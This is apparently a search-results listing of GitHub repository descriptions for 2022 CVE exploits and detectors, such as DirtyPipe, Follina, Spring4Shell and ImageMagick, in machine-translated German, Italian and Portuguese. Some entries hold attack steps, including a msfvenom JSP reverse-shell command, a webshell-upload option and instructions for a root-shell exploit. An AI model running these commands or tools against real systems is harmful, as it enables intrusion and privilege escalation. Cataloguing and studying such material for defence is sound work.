140190 matches found
DirtyPipe-CVE-2022-0847
DirtyPipe-CVE-2022-0847 Dieses Repository wurde entwickelt, um den DirtyPipe-Exploit CVE-2022-0847 für meine Aufgabe im 3. Jahr, 1. Jahr des Kurses für sichere Softwaresysteme zu analysieren und zu verstehen. Von mir verfasstes Paper Das Paper wird nach Ende meines Semesters verfügbar sein...
CVE-2022-36200
CVE-2022-36200 REDACTED...
Watchguard-RCE-POC-CVE-2022-26318
Watchguard-RCE-POC-CVE-2022-26318 Watchguard RCE POC CVE-2022-26318 La CVE per questo problema è CVE-2022-26318...
CVE-2022-30190
CVE-2022-30190 IMPORTANTE Corretto a partire da: Aggiornamenti di sicurezza del 14 giugno 2022 CVE Report Il file HTML deve essere servito al target es. exploit.html Un modo semplice per eseguire l'attacco è eseguire server.py...
CVE-2022-24491
CVE-2022-24491 Ein Zeek-Detektor für CVE-2022-24491: https://vulners.com/cve/CVE-2022-24491 Dieser Detektor generiert eine Benachrichtigung, wenn er ein Portmap-Set und einen Portmap-Dump sieht, eine Aktion, die bei der Ausnutzung von CVE-2022-24491 durchgeführt wird. Beispiel: root@kitploit:...
CVE-2022-1966
Dieses Repository hat keine README-Datei...
Fast-CVE-2022-22965
Target root@kitploit: docker run -itd -p 80:8080 vulfocus/spring-core-rce-2022-03-29:latest La reverse shell si basa essenzialmente su msfvenom root@kitploit: msfvenom -p java/jspshellreversetcp LHOST=xxx LPORT=xxx -f raw -o shell.jsp Dopo aver codificato il JSP in URL, utilizzare root@kitploit:...
terraMaster-CVE-2022-24990
terraMaster-CVE-2022-24990 Tool-Beschreibung Schnell-Exploit-Tool für CVE-2022-24990. Einsteiger-Code. Bei Problemen bitte Issues eröffnen. Verwendung main -u http://127.0.0.1:8181 -t pocexp poc Erkennt nur Informationsleckschwachstellen. exp Versucht, ein WebShell hochzuladen. Haftungsausschluss...
CVE-2022-0847-DirtyPipe-Container-Breakout
DirtyPipe Container Ausbruch PoC Dieses Repository enthält einen PoC für die dirtypipe Kernel-Schwachstelle, um aus einem Container auszubrechen. Weitere Erklärungen finden Sie in diesem Blogbeitrag...
CVE-2022-29455
CVE-2022-29455 Scanner di massa per CVE-2022-29455 sui plugin Elementor di WordPress Uso : python cve-2022-29455 list.txt threads...
SenselessViolence
SenselessViolence CVE-2022-31814 pfSense pfBlockerNG = 2.1.426 Toolkit di sfruttamento. Cosa? Questo è un toolkit di sfruttamento per la vulnerabilità di iniezione di comandi remoti nei plugin pfSense pfBlockerNG = 2.1.426, scoperta da IHTeam. L'ho scritto per giocare con alcuni dei principi di...
burp-text4shell
Scanner Text4Shell per Burp Suite Una descrizione dettagliata è disponibile nel nostro articolo del blog su questo plugin. Nota sulle capacità di rilevamento: questo plugin fornirà solo payload allo scanner attivo integrato, quindi per un equilibrio ottimale tra copertura e prestazioni, dovrai...
text4shell-tools
commons-text-tools Collegamenti rapidi Clicca per trovare: Trova i file .jar di commons-text e le loro versioni Chiamate alle funzioni vulnerabili di commons-text Patch immediata sui file .jar di commons-text per disabilitare i comportamenti vulnerabili Esempio di scansione e patch Panoramica...
CVE-2022-0847_DirtyPipeExploit
Cos'è questo Questa è la proof of concept di Max Kellermann per Dirty Pipe, ma modificata per sovrascrivere il campo della password di root in /etc/passwd e ripristinarlo dopo aver aperto una shell root. Nota a margine: Non rivendico alcun merito per aver trovato questa vulnerabilità o scritto la...
CVE-2022-0847-dirty-pipe-exploit
CVE-2022-0847-dirty-pipe-exploit Um exploit para a vulnerabilidade dirty-pipe CVE-2022-0847 Como usar Compile com gcc exploit.c -o exploit assume que o gcc está instalado Execute ./exploit e ele abrirá um shell root Se você estiver recebendo uma mensagem de erro como, então, Faça login como root...
hexacon2022_AppleAVD
Dieses Repository hat keine README-Datei...
CVE-2022-22963-POC
Exploit CVE-2022-22963 Descrizione Nelle versioni di Spring Cloud Function 3.1.6, 3.2.2 e versioni precedenti non supportate, quando si utilizza la funzionalità di routing è possibile che un utente fornisca uno SpEL appositamente modificato come routing-expression che può comportare l'esecuzione ...
follina-spring
Sfruttamento di Follina MS-MSDT con Spring Boot Questo repository contiene una semplice applicazione Spring Boot che funge sia da server per ospitare/attivare payload Follina , sia da generatore di documenti Word dannosi pronti per essere utilizzati come vettori d'attacco per sfruttare...
ImageMagick-CVE-2022-44268-PoC
ImageMagick-CVE-2022-44268-PoC Uno script bash per sfruttare facilmente la vulnerabilità di lettura arbitraria dei file di ImageMagick CVE-2022-44268 Versione di ImageMagick interessata root@kitploit: Version: ImageMagick 6.9.11-60 Q16 x8664 2021-01-25 https://imagemagick.org Copyright: C 1999-20...